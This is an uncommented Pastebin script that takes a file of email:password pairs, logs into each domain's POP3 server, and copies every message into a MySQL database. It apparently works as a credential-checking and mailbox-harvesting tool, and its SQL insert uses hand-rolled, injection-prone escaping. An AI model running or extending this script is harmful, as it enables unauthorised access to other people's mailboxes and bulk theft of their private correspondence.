Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/local/bin/python
- import poplib, _mysql, re
- from re import findall
- from email.header import decode_header
- from threading import Thread
- global mysql
- mysql = _mysql.connect(host="localhost", user="user", passwd="password", db="database")
- mysql.query("SET NAMES 'cp1251'")
- def decodeemail(message):
- message = unicode(message, findall('.*?charset\s*=\s*[\'"]?([\w\-\d]+)[\'"]?', message)[0] or 'cp1251')
- def dec(matches):
- #print matches.group()
- s = decode_header(matches.group())[0]
- return unicode(s[0], s[1])
- rx = re.compile(r'(=\?[^ ]+\?= ?)');
- message = rx.subn(dec, message)[0]
- return message
- def parse_output(output):
- output = decodeemail(output)
- header, body = output.split('\n\n', 1);
- try: owner = findall('To: (.+)', header)[0];
- except: owner = '';
- try: subject = findall('Subject: (.+)', header)[0];
- except: subject = '';
- try: sender = findall('From: (.+)', header)[0];
- except: sender = '';
- try:
- d, m, y, h, i, s = findall('Date: \w+, (\d\d) (\w\w\w) (\d\d\d\d) (\d\d):(\d\d):(\d\d)', header)[0];
- months = dict(zip(['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'], range(1,13)));
- m = months[m]
- date = '%s%02d%s%s%s%s'%(y,m,d,h,i,s)
- except: date = ''
- return (owner, subject, output, sender, date)
- def insert_in_db(values):
- values = map(lambda a: a.replace("'", "\\'"), values);
- query = "INSERT INTO `emails` (`email`, `subject`, `body`, `sender`, `date`) VALUES ('%s')"%"', '".join(values)
- mysql.query(query.encode('cp1251'));
- def grab_email(email, password):
- try:
- username, host = email.split('@',1);
- M = poplib.POP3('pop.'+host)
- M.user(username)
- M.pass_(password)
- numMessages = len(M.list()[1])
- except:
- print '%s:%s Failure!'%(email, password);
- return 0
- c = 0
- for i in range(numMessages):
- try:
- insert_in_db(parse_output("\n".join(M.retr(i+1)[1])))
- c+=1
- except:
- pass
- print '%d (%f) messages retrived.'%(c, c/numMessages*100)
- return 1
- file = open('emailpassword.txt', 'r')
- for line in file:
- email, password = line[:-1].split(':',1)
- print 'Trying %s'%email
- grab_email(email, password)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement